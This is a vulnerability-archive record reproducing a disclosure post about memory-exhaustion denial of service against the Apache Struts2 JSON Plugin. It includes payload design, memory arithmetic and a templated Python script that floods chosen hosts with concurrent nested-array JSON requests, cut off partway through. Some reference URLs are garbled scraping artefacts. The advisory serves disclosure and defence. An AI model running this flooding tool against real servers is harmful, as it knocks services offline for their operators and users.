GCVE-1988-2026-0510

Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
Title
Maximised JSON Array Attacks -- "Let the Commas Hit the Floor" Proof of Concept
Summary
On 29 August 2026, we released "Commas of D00m" -- an old proof of concept that demonstrates unconstrained resource consumption in many JSON parsers. As recently discussed (in "Continued Apache Struts2 JSON Plugin Insecure Deserialisation"), the Apache Struts2 JSON Plugin's S2-072 and prior code changes fail to sufficiently protect against this style of attack. In that write-up, we examined the code and the underlying, incomplete fixes, as well as marched through a series of basic mathematical analyses that illustrated the point - showing how a single <2MB JSON string can consume more than 10 times that in RAM and how, when run with rather modest concurrency, such a request can consume more than a GB of RAM. As discussed in that write-up, for the sake of simplicity, an array-of-arrays of only 2 levels deep was chosen for the discussion, with several payload options discussed (and the desired end goal -- consumption of excessive CPU for a little less memory, shorter payloads, or more extreme memory consumption). The following is the more "memory-hungry", more complex approach that better maximises the 2MB character length limit that the Apache Struts2 JSON Plugin applies (realistically, using an array-of-arrays of just 2 levels deep, the string can be under 1MB and consume over 40MB of RAM on a single query -- some queries can even get over 80GB per-request, but we'll save that as an exercise for the reader). The Approach A JSON nested JSON array with the following dimensions: * Level 0 (root): an array with exactly 2 children * Level 1: each of the children from the above array contains an array with exactly 8,256 children (a total of 16,512 elements, at the moment) * Levels 2-63: each of those 16,512 elements is a chain of 62 nested single-child arrays (`[[[[...]]]]`), with each level holding exactly one element * Leaf: each chain terminates in an empty String `""` Total: 16,512 chains, each exactly 62 singleton-array levels deep, fed by a 2 * 8256 fan-out at the top Analysis A single array can hold at most 10,000 direct children (`maxElements`), so an array-of-arrays with no other content will use 1,290,001 characters (of the 2,097,152 maximum) and consume roughly 48.6MB, leaving 807,151 characters unused simply because the depth and breadth limiters. This means that, without having any "content" other than arrays, we can consume almost 50MB on a single request, which is pretty good considering we are only using ~1.3 million of the ~2 million character budget. A massive array-of-arrays with no actual data, though, is fairly noisy and, frankly, 50MB is small peanuts compared to what we can get with just a little bit of data. Before we go further, we need to discuss something that was mentioned in the last write-up but that needs a little more explanation. Java's default ArrayList capacity (which is the maximum number of elements that it can house and shouldn't be conflated with "size") is 10. Most developers don't change this value and neither does the Apache Struts2 JSON Plugin. The cost of this, however, is not incurred, to its fullest, until the first `add(Object)` call is made -- once that happens, the backing array is allocated, costing 56 bytes (double that if not using the compressed oops, as discussed in the previous write-up). After the first `add(Object)` call is made, the total cost of the ArrayList is 80 bytes (for simplicity's sake, we're going to stick with the compressed oops and lowest possible values throughout the rest of this work -- this value can be more depending on the environment) regardless of if the array has 1 or 10 elements in it (we'll ignore the automatic resizing in making that statement, just for the sake of argument). This means that for the cost of simply two characters -- `[` and `]`, which is just two bytes in our input, we cost the server 80 bytes (which is 40 bytes/input character -- a massive win for the attacker). The next best that we can do is an empty String, which has a 20 bytes/input character pay-off, which is significantly worse. Adding elements to the array costs us at least one character -- `,` -- but we only see the ArrayList grow at key intervals, so it actually has a slightly worse bytes/input character pay-off overall. Looking at the problem, we have ample room sideways -- 10,000 units left and right per element -- but are constrained along the y-axis by the 64-depth limit. As width doesn't immediately equal a significant number of bytes consumed since the cost is stepped, it's best to go n-1 deep and then fill out the leaves, which means that we get maximum usage -- 82,785,552 bytes of RAM consumed on a single request (assume 64-bit HotSpot JVM running with compressed oops and 8-byte alignment -- a standard configuration set) -- in the manner described in the above "The Approach" section. In other words, by fanning out into empty Strings and using 40 concurrent requests, we can consume ~3.31GB of RAM on the host and maximise the 2MB input limit that Apache has put in place. The Maths * ArrayList: ~24B + backing Object array of capacity n * Backing array: 16B + 4nB (rounded to 8 bytes by the JVM) * On first `add(Object)` call, the backing array goes to 56B * If hit rapidly and concurrently, garbage collection will not run (we'll take the worst case scenario, here, for simplicity), so growing an array to 10,000 elements (14,053 capacity) costs 168,944 bytes in backing arrays * One singleton-chain level: 80B / 2 input characters = 40 bytes/input character * One chain (62 levels + leaf): (62B * 80B) + 40B = 5,000B for (62 * 2) + 2 characters -- 126 characters (39.68 bytes/input character)\ * 16,512 chains: 82,560,000B * two 8,256-wide level-2 arrays: 2 * 112,736 = 225,472B * 2-wide root: 80B Add it all up and you get 82,785,552B on a single request. Multiply that by 40 (40 concurrent requests) and you have ~3.31GB residing in memory at any given time. Stepped attacks, especially if paired with high-compute requests (again, boxing and unboxing requests are a great option), can dramatically increase that while allowing the attacker to decrease the number of requests/second. Note that we leave such a trivial tweak to the PoC to the reader. The Script The following is a modernised version of Commas of D00m known as "Let the Commas Hit the Floor". ```python #!/usr/bin/python3 # --- # name: Nested-array depth overflow tester # category: Testing and scanning # tags: dos, payload, nested-array, recursion-depth, stack-overflow, json, flood, load, http # description: Floods a host with concurrent deeply nested JSON arrays (2 root children x 8,256 nested children, # each a 62-level chain of single-element arrays terminating in an empty string) to probe JSON parser # recursion/stack-depth limits. # placeholders: # - token: "@@HOSTS@@" # field: hosts # kind: list # format: python # label: Hosts # - token: "@@CONTENT_TYPE@@" # field: content_type # kind: text # label: Content-Type # default: application/json # - token: "@@PATH@@" # field: path # kind: text # label: Request path # optional: true # default: / # - token: "@@HEADERS@@" # field: headers # kind: map # format: python # label: Extra headers, like the cookie and authorisation headers # optional: true # - token: "@@PARALLEL_COUNT@@" # field: parallel_count # kind: text # label: Parallel count (concurrent threads) # optional: true # default: 40 # - token: "@@TOTAL_CONNECTIONS@@" # field: total_number_of_connections # kind: text # label: Total connections # optional: true # default: 1000 # - token: "@@RECREATE_PAYLOAD@@" # field: recreate_payload # kind: text # label: Recreate payload file (true/false) # optional: true # default: true # - token: "@@PAYLOAD_FILE@@" # field: payload_file # kind: text # label: Payload file # optional: true # default: prebuilt_payload_tmp # - token: "@@ROOT_CHILDREN@@" # field: root_children # kind: text # label: Root array children # optional: true # default: 2 # - token: "@@LEVEL2_CHILDREN@@" # field: level2_children # kind: text # label: Level-2 array children (per root child) # optional: true # default: 8256 # - token: "@@CHAIN_DEPTH@@" # field: chain_depth # kind: text # label: Nested single-child array chain depth (per slot) # optional: true # default: 62 # - token: "@@LEAF_VALUE@@" # field: leaf_value # kind: text # label: Leaf value (terminates each chain) # optional: true # default: # - token: "@@REQUEST_TIMEOUT@@" # field: request_timeout # kind: text # label: Per-request timeout in seconds # optional: true # default: 10 # --- """Flood a host with deeply nested JSON arrays to probe recursion/stack-depth limits. Builds a JSON array shaped as: a root array of 2 children, each a level-2 array of 8,256 children (16,512 slots total), where each slot is a chain of 62 nested single-child arrays terminating in an empty-string leaf. This shape stresses a server-side JSON parser's recursion/stack handling without relying on one single pathologically deep structure. Fires the payload at each host with a configurable amount of concurrency, tallying the status codes seen (413s and 5xx especially) and logging any 5xx bodies to ``request-responses.txt``. A Content-Type and at least one host are required. Usage: python script.py """ import concurrent.futures import json import os import time from datetime import datetime, timezone import requests # REPLACE/ADJUST THESE config = { 'hosts': @@HOSTS@@, 'paths': ['@@PATH@@' or '/'], 'content_type': '@@CONTENT_TYPE@@' or 'application/json', 'extra_headers': @@HEADERS@@, 'parallel_count': int('@@PARALLEL_COUNT@@' or 40), 'total_number_of_connections': int('@@TOTAL_CONNECTIONS@@' or 1000), 'request_timeout': float('@@REQUEST_TIMEOUT@@' or 10), # Data for the payload generation 'recreate_payload': ('@@RECREATE_PAYLOAD@@' or 'true').strip().lower() in ('1', 'true', 'yes'), 'payload_file': '@@PAYLOAD_FILE@@' or 'prebuilt_payload_tmp', 'root_children': int('@@ROOT_CHILDREN@@' or 2), 'level2_children': int('@@LEVEL2_CHILDREN@@' or 8256), 'chain_depth': int('@@CHAIN_DEPTH@@' or 62), 'leaf_value': '@@LEAF_VALUE@@', } if not config['hosts']: raise ValueError('At least one host is required.') def count_status_codes(responses, url): """ Walks through the responses, logs any 5xx bodies (labelled with ``url`` so multi-host runs stay attributable), and counts the status codes Args: responses (list[Response]): List of response objects url (str): The URL these responses came from Returns: dict: A dictionary with counts for each of the status codes that we monitor """ five_xx_responses = [r for r in responses if r is not None and 500 <= r.status_code < 600] if five_xx_responses: try: with open('request-responses.txt', 'a', encoding='utf-8', errors='replace') as f: for response in five_xx_responses: f.write(f"Response from {url}:\n") for header, value in response.headers.items(): f.write(f"{header}: {value}\n") f.write(f"{response.text}\n") f.write("-" * 50 + "\n") print(f"Successfully wrote {len(five_xx_responses)} response(s) to request-responses.txt") except Exception as e: print(f"Error writing to file: {str(e)}") return { '2xx': len([r for r in responses if r is not None and 200 <= r.status_code < 300]), '4xx': len([r for r in responses if r is not None and 400 <= r.status_code < 500]), '40
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version CPE status
unknown Maximised JSON Array Affected: unknown
guessed Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Maximised JSON Array",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Daniel Owens via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "On 29 August 2026, we released \"Commas of D00m\" -- an old proof of concept that demonstrates unconstrained resource \nconsumption in many JSON parsers.  As recently discussed (in \"Continued Apache Struts2 JSON Plugin Insecure \nDeserialisation\"), the Apache Struts2 JSON Plugin\u0027s S2-072 and prior code changes fail to sufficiently protect against \nthis style of attack.  In that write-up, we examined the code and the underlying, incomplete fixes, as well as marched \nthrough a series of basic mathematical analyses that illustrated the point - showing how a single \u003c2MB JSON string can \nconsume more than 10 times that in RAM and how, when run with rather modest concurrency, such a request can consume \nmore than a GB of RAM.\n\nAs discussed in that write-up, for the sake of simplicity, an array-of-arrays of only 2 levels deep was chosen for the \ndiscussion, with several payload options discussed (and the desired end goal -- consumption of excessive CPU for a \nlittle less memory, shorter payloads, or more extreme memory consumption).  The following is the more \"memory-hungry\", \nmore complex approach that better maximises the 2MB character length limit that the Apache Struts2 JSON Plugin applies \n(realistically, using an array-of-arrays of just 2 levels deep, the string can be under 1MB and consume over 40MB of \nRAM on a single query -- some queries can even get over 80GB per-request, but we\u0027ll save that as an exercise for the \nreader).\n\nThe Approach\nA JSON nested JSON array with the following dimensions:\n\n  *   Level 0 (root): an array with exactly 2 children\n  *   Level 1: each of the children from the above array contains an array with exactly 8,256 children (a total of \n16,512 elements, at the moment)\n  *   Levels 2-63: each of those 16,512 elements is a chain of 62 nested single-child arrays (`[[[[...]]]]`), with each \nlevel holding exactly one element\n  *   Leaf: each chain terminates in an empty String `\"\"`\nTotal: 16,512 chains, each exactly 62 singleton-array levels deep, fed by a 2 * 8256 fan-out at the top\n\nAnalysis\nA single array can hold at most 10,000 direct children (`maxElements`), so an array-of-arrays with no other content \nwill use 1,290,001 characters (of the 2,097,152 maximum) and consume roughly 48.6MB, leaving 807,151 characters unused \nsimply because the depth and breadth limiters.  This means that, without having any \"content\" other than arrays, we can \nconsume almost 50MB on a single request, which is pretty good considering we are only using ~1.3 million of the ~2 \nmillion character budget.  A massive array-of-arrays with no actual data, though, is fairly noisy and, frankly, 50MB is \nsmall peanuts compared to what we can get with just a little bit of data.\n\nBefore we go further, we need to discuss something that was mentioned in the last write-up but that needs a little more \nexplanation.  Java\u0027s default ArrayList capacity (which is the maximum number of elements that it can house and \nshouldn\u0027t be conflated with \"size\") is 10.  Most developers don\u0027t change this value and neither does the Apache Struts2 \nJSON Plugin.  The cost of this, however, is not incurred, to its fullest, until the first `add(Object)` call is made -- \nonce that happens, the backing array is allocated, costing 56 bytes (double that if not using the compressed oops, as \ndiscussed in the previous write-up).  After the first `add(Object)` call is made, the total cost of the ArrayList is 80 \nbytes (for simplicity\u0027s sake, we\u0027re going to stick with the compressed oops and lowest possible values throughout the \nrest of this work -- this value can be more depending on the environment) regardless of if the array has 1 or 10 \nelements in it (we\u0027ll ignore the automatic resizing in making that statement, just for the sake of argument).  This \nmeans that for the cost of simply two characters -- `[` and `]`, which is just two bytes in our input, we cost the \nserver 80 bytes (which is 40 bytes/input character -- a massive win for the attacker).  The next best that we can do is \nan empty String, which has a 20 bytes/input character pay-off, which is significantly worse.  Adding elements to the \narray costs us at least one character -- `,` -- but we only see the ArrayList grow at key intervals, so it actually has \na slightly worse bytes/input character pay-off overall.\n\nLooking at the problem, we have ample room sideways -- 10,000 units left and right per element -- but are constrained \nalong the y-axis by the 64-depth limit.  As width doesn\u0027t immediately equal a significant number of bytes consumed \nsince the cost is stepped, it\u0027s best to go n-1 deep and then fill out the leaves, which means that we get maximum usage \n-- 82,785,552 bytes of RAM consumed on a single request (assume 64-bit HotSpot JVM running with compressed oops and \n8-byte alignment -- a standard configuration set) -- in the manner described in the above \"The Approach\" section.\n\nIn other words, by fanning out into empty Strings and using 40 concurrent requests, we can consume ~3.31GB of RAM on \nthe host and maximise the 2MB input limit that Apache has put in place.\n\nThe Maths\n\n  *   ArrayList: ~24B + backing Object array of capacity n\n     *   Backing array: 16B + 4nB (rounded to 8 bytes by the JVM)\n     *   On first `add(Object)` call, the backing array goes to 56B\n     *   If hit rapidly and concurrently, garbage collection will not run (we\u0027ll take the worst case scenario, here, \nfor simplicity), so growing an array to 10,000 elements (14,053 capacity) costs 168,944 bytes in backing arrays\n  *   One singleton-chain level: 80B / 2 input characters = 40 bytes/input character\n  *   One chain (62 levels + leaf): (62B * 80B) + 40B = 5,000B for (62 * 2) + 2 characters -- 126 characters (39.68 \nbytes/input character)\\\n  *   16,512 chains: 82,560,000B\n     *   two 8,256-wide level-2 arrays: 2 * 112,736 = 225,472B\n     *   2-wide root: 80B\nAdd it all up and you get 82,785,552B on a single request.  Multiply that by 40 (40 concurrent requests) and you have \n~3.31GB residing in memory at any given time.  Stepped attacks, especially if paired with high-compute requests (again, \nboxing and unboxing requests are a great option), can dramatically increase that while allowing the attacker to \ndecrease the number of requests/second.  Note that we leave such a trivial tweak to the PoC to the reader.\n\nThe Script\nThe following is a modernised version of Commas of D00m known as \"Let the Commas Hit the Floor\".\n\n```python\n#!/usr/bin/python3\n# ---\n# name: Nested-array depth overflow tester\n# category: Testing and scanning\n# tags: dos, payload, nested-array, recursion-depth, stack-overflow, json, flood, load, http\n# description: Floods a host with concurrent deeply nested JSON arrays (2 root children x 8,256 nested children,\n#   each a 62-level chain of single-element arrays terminating in an empty string) to probe JSON parser\n#   recursion/stack-depth limits.\n# placeholders:\n#   - token: \"@@HOSTS@@\"\n#     field: hosts\n#     kind: list\n#     format: python\n#     label: Hosts\n#   - token: \"@@CONTENT_TYPE@@\"\n#     field: content_type\n#     kind: text\n#     label: Content-Type\n#     default: application/json\n#   - token: \"@@PATH@@\"\n#     field: path\n#     kind: text\n#     label: Request path\n#     optional: true\n#     default: /\n#   - token: \"@@HEADERS@@\"\n#     field: headers\n#     kind: map\n#     format: python\n#     label: Extra headers, like the cookie and authorisation headers\n#     optional: true\n#   - token: \"@@PARALLEL_COUNT@@\"\n#     field: parallel_count\n#     kind: text\n#     label: Parallel count (concurrent threads)\n#     optional: true\n#     default: 40\n#   - token: \"@@TOTAL_CONNECTIONS@@\"\n#     field: total_number_of_connections\n#     kind: text\n#     label: Total connections\n#     optional: true\n#     default: 1000\n#   - token: \"@@RECREATE_PAYLOAD@@\"\n#     field: recreate_payload\n#     kind: text\n#     label: Recreate payload file (true/false)\n#     optional: true\n#     default: true\n#   - token: \"@@PAYLOAD_FILE@@\"\n#     field: payload_file\n#     kind: text\n#     label: Payload file\n#     optional: true\n#     default: prebuilt_payload_tmp\n#   - token: \"@@ROOT_CHILDREN@@\"\n#     field: root_children\n#     kind: text\n#     label: Root array children\n#     optional: true\n#     default: 2\n#   - token: \"@@LEVEL2_CHILDREN@@\"\n#     field: level2_children\n#     kind: text\n#     label: Level-2 array children (per root child)\n#     optional: true\n#     default: 8256\n#   - token: \"@@CHAIN_DEPTH@@\"\n#     field: chain_depth\n#     kind: text\n#     label: Nested single-child array chain depth (per slot)\n#     optional: true\n#     default: 62\n#   - token: \"@@LEAF_VALUE@@\"\n#     field: leaf_value\n#     kind: text\n#     label: Leaf value (terminates each chain)\n#     optional: true\n#     default:\n#   - token: \"@@REQUEST_TIMEOUT@@\"\n#     field: request_timeout\n#     kind: text\n#     label: Per-request timeout in seconds\n#     optional: true\n#     default: 10\n# ---\n\"\"\"Flood a host with deeply nested JSON arrays to probe recursion/stack-depth limits.\n\nBuilds a JSON array shaped as: a root array of 2 children, each a level-2 array of\n8,256 children (16,512 slots total), where each slot is a chain of 62 nested\nsingle-child arrays terminating in an empty-string leaf. This shape stresses a\nserver-side JSON parser\u0027s recursion/stack handling without relying on one single\npathologically deep structure. Fires the payload at each host with a configurable\namount of concurrency, tallying the status codes seen (413s and 5xx especially) and\nlogging any 5xx bodies to ``request-responses.txt``. A Content-Type and at least one\nhost are required.\nUsage:\n    python script.py\n\"\"\"\n\nimport concurrent.futures\nimport json\nimport os\nimport time\nfrom datetime import datetime, timezone\n\nimport requests\n\n# REPLACE/ADJUST THESE\nconfig = {\n    \u0027hosts\u0027: @@HOSTS@@,\n    \u0027paths\u0027: [\u0027@@PATH@@\u0027 or \u0027/\u0027],\n    \u0027content_type\u0027: \u0027@@CONTENT_TYPE@@\u0027 or \u0027application/json\u0027,\n    \u0027extra_headers\u0027: @@HEADERS@@,\n    \u0027parallel_count\u0027: int(\u0027@@PARALLEL_COUNT@@\u0027 or 40),\n    \u0027total_number_of_connections\u0027: int(\u0027@@TOTAL_CONNECTIONS@@\u0027 or 1000),\n    \u0027request_timeout\u0027: float(\u0027@@REQUEST_TIMEOUT@@\u0027 or 10),\n    # Data for the payload generation\n    \u0027recreate_payload\u0027: (\u0027@@RECREATE_PAYLOAD@@\u0027 or \u0027true\u0027).strip().lower() in (\u00271\u0027, \u0027true\u0027, \u0027yes\u0027),\n    \u0027payload_file\u0027: \u0027@@PAYLOAD_FILE@@\u0027 or \u0027prebuilt_payload_tmp\u0027,\n    \u0027root_children\u0027: int(\u0027@@ROOT_CHILDREN@@\u0027 or 2),\n    \u0027level2_children\u0027: int(\u0027@@LEVEL2_CHILDREN@@\u0027 or 8256),\n    \u0027chain_depth\u0027: int(\u0027@@CHAIN_DEPTH@@\u0027 or 62),\n    \u0027leaf_value\u0027: \u0027@@LEAF_VALUE@@\u0027,\n}\n\nif not config[\u0027hosts\u0027]:\n    raise ValueError(\u0027At least one host is required.\u0027)\n\n\ndef count_status_codes(responses, url):\n    \"\"\"\n    Walks through the responses, logs any 5xx bodies (labelled with ``url`` so\n    multi-host runs stay attributable), and counts the status codes\n\n    Args:\n        responses (list[Response]): List of response objects\n        url (str): The URL these responses came from\n\n    Returns:\n        dict: A dictionary with counts for each of the status codes that we monitor\n    \"\"\"\n    five_xx_responses = [r for r in responses if r is not None and 500 \u003c= r.status_code \u003c 600]\n    if five_xx_responses:\n        try:\n            with open(\u0027request-responses.txt\u0027, \u0027a\u0027, encoding=\u0027utf-8\u0027, errors=\u0027replace\u0027) as f:\n                for response in five_xx_responses:\n                    f.write(f\"Response from {url}:\\n\")\n                    for header, value in response.headers.items():\n                        f.write(f\"{header}: {value}\\n\")\n                    f.write(f\"{response.text}\\n\")\n                    f.write(\"-\" * 50 + \"\\n\")\n            print(f\"Successfully wrote {len(five_xx_responses)} response(s) to request-responses.txt\")\n        except Exception as e:\n            print(f\"Error writing to file: {str(e)}\")\n\n    return {\n        \u00272xx\u0027: len([r for r in responses if r is not None and 200 \u003c= r.status_code \u003c 300]),\n        \u00274xx\u0027: len([r for r in responses if r is not None and 400 \u003c= r.status_code \u003c 500]),\n        \u002740"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T07:30:05Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/50"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Oct/50"
        },
        {
          "url": "http://\u0026apos"
        },
        {
          "url": "https://\u0026apos"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://{host.rstrip"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Oct/50"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Maximised JSON Array Attacks -- \"Let the Commas Hit the Floor\" Proof of Concept",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0510",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/50",
            "automated": true,
            "contentSha256": "97fa672f0f9b4a84aaccfe8fe6d38e52258bb8b52cabc83f94b838fb95cd6083",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/50",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-10-28T05:30:20Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T07:30:05Z",
    "dateUpdated": "2026-11-02T07:30:05Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0510"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.